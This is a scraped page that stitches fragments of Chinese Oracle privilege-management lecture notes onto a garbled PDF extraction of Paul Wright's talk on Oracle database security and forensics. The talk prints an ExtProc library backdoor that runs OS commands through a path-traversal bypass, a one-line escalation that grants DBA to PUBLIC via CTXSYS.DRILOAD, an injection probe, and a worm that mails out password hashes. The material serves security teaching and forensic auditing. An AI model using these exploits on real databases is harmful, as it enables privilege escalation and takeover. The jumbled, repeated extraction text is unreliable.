Oracle数据库安全讲义-by Paul Wright

合集下载

第14章 安全

第14章 安全

授予对象权限的语法格式如下:
– grant object_privilege on object_name to username [with grant option];
为了授予数据库用户指定的对象权限,并 同时赋予其将相同的权限赋予其他用户的 权限,需要在用户的grant语句中包括with grant option. 与此相对应的,取消数据库用户对象权限 的基本语法格式如下:
Dba_roles:数据库中全部角色的信息 User_role_privs:当前用户所具有的角色 Role_sys_privs:用户所具有的角色,以及该角色包含的 系统权限 Role_tab_privs:用户所具有的角色,以及该角色包含的 对象权限

14.2.2 对象权限
系统权限会控制对Oracle数据库中各种系统级功能 的访问,而对象权限可以用来控制对指定数据库对 象的访问. 任何数据库用户都可以授予这些对象权限,以便对 其模式(如果授予过程规定了with grant option,还 可以是另外的模式)中的对象进行访问.使用with admin option授予系统权限可以使用户有能力将这 些权限授予其他用户,而使用with grant option授 予对象权限也可以使用户有能力将这些权限授予其 他用户.数据库用户通常拥有其对象的所有权限. 可以说,系统权限可以用来许可或限制DDL语句的 执行,而对象权限可以用来许可或阻止DML语句的 执行.
– revoke object_privilege on object_name from username;
查看一个用户的系统权限:user_sys_privs 查看一个用户的对象权限:user_tab_privs 查看一个用户的表空间限额:user_ts_quotas 当前用户在当前会话中拥有的所有权限: session_privs

05_数据库安全

05_数据库安全

(4)监控并优化数据库性能。
(5)备份和恢复数据库。
1-5
用户管理
数据库开发人员
负责设计和开发数据库应用程序,其主要职责包括: (1) 设计应用的数据结构。 (2) 估算应用的存储需求。 (3) 给出应用数据库结构修改的说明。 (4) 开发过程中优化应用。 (5) 开发过程中构建应用的安全策略。 以上工作需要和DBA协作。
此操作创建了角色STUDENT,并为该角 色授权
1-20
查询角色信息
查询角色信息
DBA_ROLES视图:查看当前数据库中存在的所有角色。 SESSION_ROLES视图:用户当前启用的角色。
ROLE_ROLE_PRIVS视图:查看角色与权限授予情况,以及 是否有传递权限情况。
DBA_ROLE_PRIVS视图:用户(或角色)与角色之间的授予 关系。 ROLE_SYS_PRIVS视图:查看系统权限的授予情况。 USER_ROLE_PRIVS试图:允许用户查询自己所具有的角色。
ORACLE 大型数据库
第10章
数据库的安全管理
Oracle的安全体系结构
数据的备份与恢复
为保证数据的完整性和一致性,防止因故障而导致的数
据破坏和灾难而采取的防范措施。
用户身份、身份验证和防止数据泄露及篡改 数据库内部管理:用户标识/口令、角色与权限等; 资源管理:通过系统概要文件限制连接会话等; 网络数据通信管理:采用口令文件、数据加密等高级安
撤销最初授予者的对象权限,则他所转授的其他用户的 对象权限也随之被撤销 即对象权限的传递有级联效应。
1-17
10.3.4 角色
Oracle 系统在安装完成后就已经内置了用于管理的 角色,这些角色称为预定义角色。 系统预定义角色已经由系统授予了相应的系统权限, 可以由数据库管理员直接使用,一旦将这些角色授 予用户,用户便具有角色中所包含的系统权限。 Oracle 10g数据库系统预先定义了34种角色,可以在 dba_roles数据字典中查询。

《Oracle安全机制》PPT课件

《Oracle安全机制》PPT课件
是每个Oracle数据库都必须具备的部分。在系统空间存放的是诸如表空 间名称、据字典、表空间所含的数据文件、数据库对象的定义等数 据库管理所需的信息。
用于存储临时表。临时表空间类似数据库白板或草稿纸。数据库在工 作时也需要使用一些临时空间来存放临时数据。
用于存放数据库工具软件所需的数据库对象
用于存放数据库恢复(Undo)信息。所有的数据库都需要一个地方保 存恢复信息,这个用回滚段(Rollback Segment)的表空间称做回滚 表空间。
撤销授予用户的系统权限 Revoke {系统权限[,系统权限]…|All [privileges]} from {用户名[,用户名]…|public }
绪2.3论将对象权限授予用户和撤销授予用户的对象权限
将对象权限授予用户语法: Grant {对象权限|All [privileges] }[(列名[,列名]…)] [,…] On{[模式名.]对象名|directory 目录名} to {用户名[,用户名]…|public } [with grant option] [with hierarchy option] 一个用户要将某个对象权限授予其他用户,他必须拥有该对象或者被授 予该对象权限时他用了With grant option子句。
Oracle数据库中所有对象可分为两大类:模式对象和非模式对象。 模式对象包括:表、索引、索引化表、簇、触发器、数据库连接、 PL/SQL程序包、存储过程、序列、同义词、视图、Java类等,详见资源管 理器控制台中方案下的条目。 非模式对象:不属于任何模式的数据库对象:如表空间、用户帐号、角 色、回退段、概要文件等。
用于存放用户私有信息,USERS表空间是用来存放用户自己建立数据 库对象的地方。
绪论

数据库安全性讲义(PPT 84页)

数据库安全性讲义(PPT 84页)
An Introduction to Database System
计算机系统的三类安全性问题(续) ❖ 三类计算机系统安全性问题
▪ 技术安全类 ▪ 管理安全类 ▪ 政策法律类
An Introduction to Database System
4.1 计算机安全性概论
4.1.1 计算机系统的三类安全性问题 4.1.2 安全标准简介
A1
and tested)
An Introduction to Database System
第四章 数据库安全性
4.1 计算机安全性概述 4.2 数据库安全性控制 4.3 视图机制 4.4 审计(Audit) 4.5 数据加密 4.6 统计数据库安全性 4.7 小结
An Introduction to Database System
An Introduction to Database System
TCSEC/TDI安全级别划分(续)
▪ 按系统可靠或可信程度逐渐增高 ▪ 各安全级别之间:偏序向下兼容
An Introduction to Database System
TCSEC/TDI安全级别划分(续)
❖ B2以上的系统
▪ 还处于理论研究阶段 ▪ 应用多限于一些特殊的部门,如军队等 ▪ 美国正在大力发展安全产品,试图将目前仅限于少数
❖ 用户权限定义和合法权检查机制一起组成了 DBMS的安全子系统
An Introduction to Database System
存取控制(续)
❖ 常用存取控制方法
▪ 自主存取控制(Discretionary Access Control ,简称 DAC)
C2级 灵活
▪ 强制存取控制(Mandatory Access Control,简称 MAC)

Oracle数据库讲义(第八章)

Oracle数据库讲义(第八章)
. 再回REDO2时,同样覆盖写REDO2. 2. 与归档日志方式比较:
. 没有归档文件及归档进程ARCH。
. 丢失早期的日志。 . 数据库恢复不完整。 . 节省数据库空间。 3. 非归档方式下要做完全备份,
LGWR REDO1 REDO2 REDO3
而且每天物理和逻辑都备份一次。
8.3 数据库归档方式配置
8.4 物理备份与恢复
物理备份是数据库物理结构的操作系统文件备份。采用拷 贝的方式把所有数据库物理文件复制到指定的介质上。 8.4.1 物理备份 1. 备份步骤 物理备份也叫脱机备份。因此要必须关闭数据库。 . 登入SYS用户关闭数据库。 C> sqlplus /nolog SQL> connect sys /as sysdba SQL> shutdown immediate . 拷贝所有数据库物理文件。 . 再登入SYS用户启动数据库。 C> sqlplus /nolog SQL> connect sys /as sysdba SQL> startup
8.5
逻辑备份与恢复
数据库逻辑备份:读一个数据库记录集,并以Oracle提供 的内部格式写入一个二进制文件中。这些记录的读出与其物理 位置无关。
联机备份的优点:
①可在表空间或数据文件级备份,备份时间短。 ②备份时数据库仍可使用。 ③可达到秒级恢复(恢复到某一时间点上)。 ④可对几乎所有数据库实体作恢复。 ⑤恢复快速,大多数情况下恢复不需要关闭数据库。
. 场地灾难
8.1.2 Oracle数据库保护机制 Oracle数据库不仅有联机事务日志和归档日志,并设定了
多种备份方法。通过这些机制保证数据库的安全性和可靠性。
. 联机保护机制

Oracle数据库的安全与管理

Oracle数据库的安全与管理
SESSIONS_PER_USER
CONNECT_TIME
IDLE_TIME
LOGICAL_READS_PER _SESSION PRIVATE_SGA
Description
Total CPU time measured in hundredths of seconds
Number of concurrent sessions allowed for each username
Elapsed connect time measured in minutes
Periods of inactive time measured in minutes
Number of data blocks (physical and logical reads)
Private space in the SGA measured in bytes (for MTS only)
修改用户的表空间定额
ALTER USER peter QUOTA 0 ON data01;
删除用户
DROP USER peter;
如果模式中包含对象,则需要使用 CASCADE子句
DROP USER peter CASCADE;
监控用户
DBA_USERS
USERNAME USER_ID CREATED ACCOUNT_STATUS LOCK_DATE EXPIRY_DATE DEFAULT_TABLESPACE TEMPORARY_TABLESPACE
• 用户管理 • 环境文件管理 • 权限管理 • 角色管理 • 常用工具的使用
主要内容
– 鉴别系统和对象权限 – 权限的授予与回收 – 操作系统或口令文件认证的控制
管理权限

Oracle数据库的安全


安全的权限
• 有四种基本类型的数据库操作可以通过 Oracle数据库的安全权限来限制: • *SELECT 执行查询 • *INSERT 在表或视图中插入行 • *UPDATE 更新表或视图中的行 • *DELETE 从表,表分区,或者视图中删除 行
安全的权限
• 除了这些数据相关的权限之外,还有一些 权限适用于数据库模式中的对象: • *CREATE 在模式中创建表 • *DROP 从模式中删除表 • *ALTER 修改表或视图
特殊角色:DBA,SYSDBA,与 SYSOPER
• 作为SYSOPER连接的管理员只能执行更加有限的命令: STARTUP与SHUTDOWN,CREATE SPFILE,ALTER DATABASE OPEN或MOUNT或BACKUP,ALTER DATABASE ARCHIVELOG,ALTER DATABASE RECOVER,以及RESTRICTED SESSION 权限。 • 数据库管理员一般通过操作系统认证机制或者密码文件来 认证。Oracle早期版本所支持的CONNECT INTERNAL语 法现在已经不可用。当使用操作系统认证机制的时候,管 理用户必须在OSDBA或者OSOPER定义的组中命名。对 于密码文件而言,必须使用ORAPWD工具来创建。用户 一般由SYS或者具有SYSDBA权限的人来添加。
特殊角色:DBA,SYSDBA,与 SYSOPER
• 授权之后,SYSDBA的权限允许用户从SQL*Plus的命令 行中或者登陆Oracle企业管理器的图形界面执行下面的数 据库操作: • STARTUP 启动数据库实例 • SHUTDOWN 关闭数据库实例 • ALTER DATABASE OPEN 打开被安装但关闭的数据库 • ALTER DATABASE MOUNT 利用之前启动的实例来安装 数据库 • ALTER DATABASE BACKUP CONTROLFILE • 启动对控制文件的备份。不过,今天备份工作通常是通过 RMAN来完成; • ALTER DATABASE ARCHIVELOG • 指定redo日志文件组的内容必须在被重用之前归档。

Oracle11g教程第10章数据库安全操作精品PPT课件

2020/10/11 Orac le 数 据库 管理 与应 用实 例教 程
10.2 安全策略
用户安全策略
用户安全策略包括一般用户、最终用户、管理员、应用程序开发人员和 应用程序管理员的安全策略。 1.一般用户安全 对于一般用户安全,主要考虑口令安全和权限管理问题。 (1)口令安全 (2)权限管理 2.最终用户安全 3.管理员安全 由于SYSTEM和SYS用户拥有强大的权限,在创建数据库后,应该立即 修改SYSTEM和SYS用户的口令 4.应用程序开发人员安全 5.应用程序管理员安全
建议课时:8课时
2020/10/11 Orac le 数 据库 管理 与应 用实 例教 程
10.1数据库安全管理概述
安全管理概述 数据库的安全性是指保护数据库,防止非法操作所造成的数据泄露、 篡改或损坏。在计算机系统中,安全性问题普遍存在,特别是当大量用 户共享数据库中的数据时,安全问题尤其明显。保证数据库安全也成为 DBA一项最重要的工作。
2020/10/11 Orac le 数 据库 管理 与应 用实 例教 程
课堂案例1—用户管理
案例学习目标 掌握Oracle中应用OEM和PL/SQL创建用户、修改用户、删除用户的方法 和基本步骤 。
案例知识要点 OEM创建用户、OEM修改用户、OEM删除用户、PL/SQL创建用户、 PL/SQL修改用户、PL/SQL删除用户 。
2020/10/11 Orac le 数 据库 管理 与应 用实 例教 程
10.2 安全策略
系统安全策略 1.数据库用户管理 数据库用户是存取数据库中信息的通道,必须对数据库用户进行严格的 安全管理。既可以由安全管理员作为唯一有权限创建、修改和删除数据 库用户的用户,也可以由多个有权限的管理员来管理数据库用户。 2.用户验证 为了防止数据库用户未经授权访问,Oracle提供主机操作系统、网络服 务和数据库验证等方法对数据库用户实施验证。一般情况下,使用一种 方法验证数据库中的所有用户,但也允许在同一数据库实例中使用多种 验证方法。 3.操作系统安全 有时候可以为运行Oracle 和数据库应用程序的操作系统环境考虑安全: DBA必须有创建和删除文件的操作系统权限;通常的数据库用户不应该 有创建和删除文件的操作系统权限;若操作系统识别用户的数据库角色, 则安全管理员必须拥有操作系统权限,以修改系统账户和安全域。

Oracle11g教程第10章数据库安全操作-PPT资料50页

2019/11/20 Orac le 数 据库 管理 与应 用实 例教 程
课堂案例1 —用户管理
案例完成步骤
1.OEM创建用户
(1)启动OEM后,单击“数据库实例”的“服务器”页
面中“安全性”区域的“用户”链接,进入“用户”页

(2) 单击“创建”按钮,进入“创建用户”页面。输入

新用户名称、口令和确认口令。
2019/11/20 Orac le 数 据库 管理 与应 用实 例教 程
10.2 安全策略
用户安全策略
用户安全策略包括一般用户、最终用户、管理员、应用程序开发人员和 应用程序管理员的安全策略。 1.一般用户安全 对于一般用户安全,主要考虑口令安全和权限管理问题。 (1)口令安全 (2)权限管理 2.最终用户安全 3.管理员安全 由于SYSTEM和SYS用户拥有强大的权限,在创建数据库后,应该立即 修改SYSTEM和SYS用户的口令 4.应用程序开发人员安全 5.应用程序管理员安全
课堂案例1 —用户管理
案例完成步骤
3.OEM删除用户
进入OEM后,进入 “用户”页面,选择需要删除的用户,
单击“删除”按钮,进入“确认删除”页面。再单击
“是”按钮即可完成删除用户的操作。






3.PL/SQL删除用户 【例1-4】删除用户LIUZC及其方案中包含的全部对象。
DROP USER LIUJIN CASCADE;
中“数据库实例”的“服务器”页中“安全性”区域的
“角色”链接,进入“角色”页面 。
(2)单击“创建”按钮,进入“创建角色”页面。输入

新角色名称(如:super),并选择验证方式。

Oracle数据库讲义(第二章)

第二章 Oracle 基础Oracle 的安装Oracle 产品简介Oracle 客户端的安装Oracle 服务器的安装Oracle8数据库的基本内容和概念 角色用户客户与服务器的连接第一节 Oracle 的安装Oracle 产品简介Oracle 客户端的安装Oracle 服务器的安装2.1.1 Oracle 产品简介Oracle组成服务器软件包客户软件包运行环境(for windows)服务器端:NT 4.0 workstation(Server) , Windows 2000.客户端:除上述环境外,包括Windows95,Windows982.1.1 Oracle 产品简介Oracle服务器的结构具体结构见下图。

SVRMGR:服务器管理器Net8 : Oracle自身的网络通讯协议 SQL*PLUSEXP80 :导出、导入实用程序Loader :数据装入实用程序Precompilers :预编译器。

Oracle8服务器的结构 Loader SVRMGR SQL*PLUS NET8到客户机 PrecompilerEXP80IMP80 Oracle8服务器 Oracle服务器的结构2.1.1 Oracle 产品简介Oracle客户端的常用工具Enterprise Manager:Oracle数据库日常管理工作Net8 Easy Config:可以创建新服务、数据库引擎和客户实用程序的连接。

SQL*PLUS2.1.2客户端安装放入光盘,运行setup.exe程序。

依照屏幕提示进行安装2.1.3服务器端的安装软件要求:Windows NT workstation( server ) 4.0 Windows 2000.硬件要求:具有奔腾以上的芯片,支持多处理器。

内存48M以上。

网络工作环境。

硬盘最小200MB.安装过程:执行setup.exe按照屏幕提示进行安装。

安装完毕,重新启动计算机。

第二节基本内容和概念角色用户2.2.1角色Oracle中,角色、应用程序角色、用户角色、用户的关系如图。

  1. 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
  2. 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
  3. 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。

NGS ConsultingNex t Gener tion S ity S oftware Lt Gener a tion S ec ur ity S oftware L td.Securing Oracle ForensicallySecuring Oracle ForensicallyPaul Wrighty pSecurity Software Developer and ConsultantOracle Forensics at ISACANex t Gener a tion S ec ur ity S oftware L td.About myself ~ Paul M. Wright•University of Manchester Computer Scientist specialised in Oracle and security.• 6 years Oracle experience and 7 years security experience.•11 SANS conferences and most GIAC qualified person in the UK.•Pentest Ltd. Published the first paper on Oracle Forensics in January 20052005.•NGS Software for the last year writing security checks for Oracle Software working with David Litchfield.S ft ki ith D id Lit hfi ld•First GSOC with the highest marks so far ~ Peter Finnigans course.•This latest work is an extension of the Oracle Forensics Paper for the GSOC qualification and I think it may be of interest to ISACA.Oracle Forensics at ISACANex t Gener a tion S ec ur ity S oftware L td.Plan of presentation•General database security•Oracle database security•PLSQL packages and SQL Injection•Identifying easy vulnerabilities•Patching problemsy g y p•Trying to Identify vulnerable procedures•Identify vulnerable packages forensically•Assessing risk to zero days retrospectivelyg y p y•QuestionsOracle Forensics at ISACANex t Gener a tion S ec ur ity S oftware L td.Some prior researchabout yourselvesFinancial sectorgauditing andconsultancyNex t Gener a tion S ec ur ity S oftware L td.Oracle Forensics at ISACAWhy Database Security?•Databases hold the most sensitive information in a company. Whether this is Financial, Medical or HR information, the database is the ultimate target of ahacker. Crown Jewels. Credit card numbers for instance.•Privilege models in Databases are less evolved in DBs so difficult to managee.g. Privilege inheritance with nested roles and No explicit deny in Oracle onlyrevoke.D t bdfi i l l t kb il i•Databases are used for increasingly complex tasks, as business logic moves from the middle tier to the database, and support for full programming languages such as Java and C is added. Therefore more vulnerabilities.•Thin client desktop moves to the database. More access to DB.Oracle Forensics at ISACANex t Gener a tion S ec ur ity S oftware L td.Introduction --NGSIntroductionNGS and Database Security•NGS started in 2001, and much of the research was focused on databaseNGS started in 2001 and much of the research was focused on databasevulnerabilities, as this was expected to be the a growth area within IT Security.•In 2001, Oracle 9i was released, containing over 400 new features and the campaign slogan Unbreakable. I was working as an Oracle developer at Linn Products at theslogan “Unbreakable” I was working as an Oracle developer at Linn Products at thetime and had the word unbreakable on top of my monitor. David Litchfield broke it andnow I work for him.•In 2002 NGS developed vulnerability scanning tools for Oracle and MSSQL databases In 2002, NGS developed vulnerability scanning tools for Oracle and MSSQL databases.•Following further successes in database research and advisories released, NGS now has comprehensive scanning tools for DB2, Informix and SybaseOracle Forensics at ISACANex t Gener a tion S ec ur ity S oftware L td.Why Oracle Security now?•Core database has been secure ~ Oracle’s pride•The Alter session variable bug affected the whole DB and so dented this pride.•Also Oracle criticised David Litchfield for presenting a fix in the absence of any other fix (mod_plsqlgateway). Difficult to justify?•Gartner. Oracle is no longer the bastion of security.G t O l i l th b ti f it•I am interested in the technical rather than political media side.media sideNex t Gener a tion S ec ur ity S oftware L td.Oracle Forensics at ISACALocating, Analysing and mitigating Threats ~A generic process•Locate the database instances on a network ~Port scanning nmap A generic process Locate the database instances on a network Port scanning nmap •Run vulnerability audits similar to standard vulnerability assessment tools ~ Vulnerability scanner like NessusR n SQL scripts on the database to determine internal threats •Run SQL scripts on the database to determine internal threats•Place vulnerabilities in a business context during report and analysis •Secure vulnerabilities through patching, revoking access, or removing the affected resourceOracle Forensics at ISACANex t Gener a tion S ec ur ity S oftware L td.Top 8 threats that occur in a database?1.Default or Weak Passwords2.Privilege Abuse no explicit deny priv only revoke a2Privilege Abuse–no explicit deny priv only revoke a grant.3.Buffer Overflow and Format String3u e O e o a d o a S gwork Communication vulns5.Reading & Writing Arbitrary System FilesReading&Writing Arbitrary System Files6.SQL Injection7.Breaking out of the Database7Breaking out of the DatabaseOracle Forensics at ISACANex t Gener a tion S ec ur ity S oftware L td.SQL Injection in Oracle•SQL Injection alternatively known as insertion means that the user can add their own SQL to the SQL that is being run. This is usually due to poor input validation. For example in a PLSQL package:•In Oracle, when a PL/SQL procedure executes, it does so with the permissions of the definer unless the AUTHID CURRENT USER keyword has been specified, in which case it is executed as the invoker.Definer issimilar to SUID in UNIX OS.•If PUBLIC ROLE has execute on the package, is definer rights and is owned by SYS then SQL injected by PUBLIC will run with the privileges of SYS.•There are many packages that fit this bill which is one of the reasons why over 300 injection vulnerabilities have been found in Oracle recently (2004-2006)Imagine a unix OS where scripts are SUID by default!(maybe 300+ SQL Injection bugs is not so surprising…)Nex t Gener a tion S ec ur ity S oftware L td.Oracle Forensics at ISACABreaking out of the DatabaseOracle OS Compromise•Oracle follows a very similar pattern, although this time the ExtProc service is used and the privileges requiredare CREATE LIBRARY. ExtProc is responsible for providing an interface between the database and anyp p g y external stored procedures –in this case, our backdoor procedure.CREATE OR REPLACE LIBRARY exec_shell AS‘$ORACLE_HOME\bin\..\..\..\..\..\..\..\C:\winnt\system32\msvcrt.dll ';/CREATE OR REPLACE PACKAGE oracmd IS PROCEDURE exec (cmdstring IN CHAR);end oracmd;/CREATE OR REPLACE PACKAGE BODY oracmd IS CREATE OR REPLACE PACKAGE BODY oracmd ISPROCEDURE exec(cmdstring IN CHAR)IS EXTERNALNAME "system" LIBRARY exec_shell LANGUAGE C;end oracmd;Notice Oracle tries to stop us loading a library from anywhere outside its $ORACLE_HOME…and notice th ith hi h b it t l tt k!the ease with which we bypass it –a traversal attack!Oracle Forensics at ISACANex t Gener a tion S ec ur ity S oftware L td.Breaking Out of the DatabaseOracle has a number of standard packages that could be used by an attacker to move from one database to another.UTL_TCP, UTL_HTTP and UTL_SMTP.UTL_TCP in particular would make this very easy to do. The key action is:UTL_TCP.OPEN_CONNECTION(HOST, TCP_PORT)In package:SYS.UTL_TCP.CONNECTION…which allows for arbitrary connections to hosts and ports.Oracle Forensics at ISACANex t Gener a tion S ec ur ity S oftware L td.Database WormsThe Voyager PoC Worm -analysis•Locate a default username and password within theL t d f lt d d ithi thdatabase•Use the CTXSYS.DRILOAD.VALIDATE STMT exploit to_pescalate the user to DBA•Use UTL_SMTP to send the Oracle password hashes tolarry@larry@oracle com•Use UTL_TCP to locate further vulnerable databases on the networkOracle Forensics at ISACANex t Gener a tion S ec ur ity S oftware L td.Violating the Oracle privilege model ––with one line of SQL!Violating the Oracle privilege model1.The DRILOAD package on Oracle 8i/9i (all versions) contains the procedureVALIDATE_STMT, which is used to test the validity of an SQL StatementVALIDATE STMT which is used to test the validity of an SQL Statementprovided.2.In the process of validating it the statement is…EXECUTED!3.The package can be run by a low privileged userThe package can be run by a low-privileged user4.So the following statement would promote all users to database administrators:exec CTXSYS.DRILOAD.VALIDATE_STMT('GRANT DBA TO PUBLIC');Oracle Forensics at ISACANex t Gener a tion S ec ur ity S oftware L td.Code Injection within Database ResourcesThe package was updated in Alert 68 but how do we know whether we are vulnerable: Easy!SELECT OWNER,PACKAGE_NAME FROM ALL_ARGUMENTSSELECT OWNER PACKAGE NAME FROM ALL ARGUMENTS WHEREOWNER='CTXSYS' ANDPACKAGE_NAME='DRILOAD' ANDOBJECT_NAME='VALIDATE_STMT';no rows selectedl t dThe vulnerable procedure has been dropped by a Patch. If it is there you are vulnerable. EASY..but what about if the vulnerable yprocedure is simply modified by a Patch. How do you detect thevulnerable version of the procedure. Patch Level should tell us.Oracle Forensics at ISACANex t Gener a tion S ec ur ity S oftware L td.Patch Activity ~ OPatch•Oracle patching system has had problems•DBA historically encouraged to use pen and paper•I found a vulnerability in OPatch where it incorrectly identifiedI f d l bilit i OP t h h it i tl id tifi dthe location of the inventory file. OPatch relies on filepermissions to secure the file which cannot be done if thelocation is not known.•Inventory system has been unreliable especially to rollback•Inventory can be bypassed anyway.Inventory can be bypassed anyway•Being able to read patches shows diligence of DBA but not actual vulnerability. Need to identify the contents of the package.Our software uses low level technique to ascertain patch levelby reading from the OS but problem. OS access??Oracle Forensics at ISACANex t Gener a tion S ec ur ity S oftware L td.But what if we are dealing with an updated package ~ what then ?•Could identify avulnerable version ofthis package using athi k itool like Repscan.Takes an MD5sum•Takes an MD5sumof the state of thepackage at that timepackage at that timeand records it forfuture comparison.Oracle Forensics at ISACANex t Gener a tion S ec ur ity S oftware L td.Not forensically sound•Could calculate MD5 directly using Oracles built in function dbms_obfuscation_toolkit.md5•Repscan is better in that it it implements its own MD5 rather Repscan is better in that it it implements its own MD5ratherthan relying on Oracles but it is not forensically sound.•Could replace the MD5 hash with a collision using a tool like Stripwire by Dan Kaminsky 2004.•Repscan does not use file sizes to verify the file integrity which would alleviate the above threat.would alleviate the above threat.•Also does not use timestamps at all. Forensics correlates all information sources to deduce a more accurate conclusion.From Latin Forensis ~ of the forum ~ open debate which linkedF L ti F i f th f d b t hi h li k dto court of law. Forensics techniques being used in relatedareas such as corporate governance and risk.Oracle Forensics at ISACANex t Gener a tion S ec ur ity S oftware L td.Checksum and File size is more accurateSELECT OWNER,NAME FROM DBA_SOURCEWHEREOWNER='WKSYS' ANDNAME='WK_ACL' ANDTEXT LIKE '%a6764557%‘(David Litchfield -2005)Blue is checksum and green is file sizeIf this query returns true you are vulnerable on 10g. If not then you are not vulnerable.Oracle Forensics at ISACANex t Gener a tion S ec ur ity S oftware L td.Database Vulnerability ScannersDatabase Vulnerability Scanners ––NGSSquirrel for OracleOracle Forensics at ISACANex t Gener a tion S ec ur ity S oftware L td.PunchlineProblem is that it does not tell how long have not been vulnerable for. Maybe DBA has just patched.Oracle Forensics at ISACANex t Gener a tion S ec ur ity S oftware L td.Correlating Timestamp, file size and checksum•Time is Forensically useful informationSQL> exec sys.dbms_aq_inv.purge_persistent_scq_table('aaa','aaa',‘a''a');y_q_p g_p_q_() BEGIN sys.dbms_aq_inv.purge_persistent_scq_table('aaa','aaa','a''a'); END; *ERROR at line 1:ORA-01756: quoted string not properly terminatedORA-06512: at "SYS.DBMS_AQ_INV", line 566ORA-06512: at line 1•SQL> SELECT OWNER, NAME FROM DBA_SOURCE WHERE__OWNER='SYS' AND NAME='DBMS_AQ_INV' AND TEXT LIKE'%786e 1907%';•OWNER NAME•------------------------------------------------------------•SYS DBMS_AQ_INVOracle Forensics at ISACANex t Gener a tion S ec ur ity S oftware L td.Forensic check•select last_ddl_time from dba_objects where object_name in (SELECT NAME FROM DBA_SOURCE WHEREOWNER='SYS' AND NAME='DBMS_AQ_INV' AND TEXT LIKE%786e 1907%);'%786e1907%');•LAST_DDL_TIME•---------------30AUG05•30-AUG-05•30-AUG-05•What use is this?•Can be used to retrospectively calculate the time that thepackage has been vulnerable which can be used as a metric ofrisk.i k•Also this information can be used to infer patch activity when there are many of these queries put together.Oracle Forensics at ISACANex t Gener a tion S ec ur ity S oftware L td.Retrospective zeroRetrospective zero--days•Using this technique we can calculate a past period of time that the DB has been vulnerable for.•Time from exploit code being released till patch =A•Time from patch release till last_ddl_time=B•Severity of the vulnerability =c•Risk calculation including severity could besomething like..•(2xA + B) X C = RISKOracle Forensics at ISACANex t Gener a tion S ec ur ity S oftware L td.Knowing what you are vulnerable to and knowing what you havebeen vulnerable to•Knowing what you have been vulnerable to is ameasure of the risk you have been under.•You may have had an incident and not known it.•Reverse engineering Patches helps Security people know what has been fixed internal to the vendor.•Most vulns are now not disclosed vulnerabilities.•To know the risk you have been put under need to realise this.Oracle Forensics at ISACANex t Gener a tion S ec ur ity S oftware L td.Oracle Antiforensics ––what if a rootkit has been used ?Oracle Antiforensics•Most Enterprise administration tools use database views to display users, audit logs etc because they are moredisplay users audit logs etc because they are moreconvenient and information is better ordered than theunderlying tables.•But views are not tables! They are actually SQL whichselects the appropriate information from tables…•So what happens if you include trojan code in that SQL?You So what happens if you include trojan code in that SQL? Youcould append where user != ‘hacker_user’to the SQL in theview wherever it selects users from the user table.Then the rogue user disappears from the EnterpriseTh th di f th E t iManager.CUREÆuse base tables instead of views.Oracle Forensics at ISACANex t Gener a tion S ec ur ity S oftware L td.Check the DB forensically through the OS layer.¾Use known good hashes of Oracle OS files toascertain forensically sound information aboutt i f i ll d i f ti b tthe state of the packages¾This will give the hash of the .plb file butThis will give the hash of the plb file butremember this is not what is actually in the dbmemory as this is found from dba_source.¾There is also the opportunity to recover files inthe OS that are from the oracle datafiles whichwill recover deleted data from oracle.will recover deleted data from oracle¾Forensics involves correlation of all the data:¾include, checksum, timestamp and file size.include,checksum,timestamp and file size.Oracle Forensics at ISACANex t Gener a tion S ec ur ity S oftware L td.•New Book on Oracle Forensics By the Presenter Paul M. Wright on its way.•/menu_oracle.htm•Will contain more detail on Oracle Forensicsconcepts expanding on the first Oracle Forensicspaperhttp://www giac org/certified professionals/practicals/gcfa/0159php•/certified_professionals/practicals/gcfa/0159.php•Questions please.NGS ConsultingNex t Gener tion S ity S oftware Lt Gener a tion S ec ur ity S oftware L td.References:/papers/DBMS_ASSERT.pdf/papers/HackproofingMySQL.pdf/papers/violating_database_security.pdf/papers/advanced_sql_injection.pdf/papers/more_advanced_sql_injection.pdf/papers/sqlinference.pdf/papers/hpoas.pdfFor more information visit our website at Copyright © 2006. Next Generation Security Software Ltd.。

相关文档
最新文档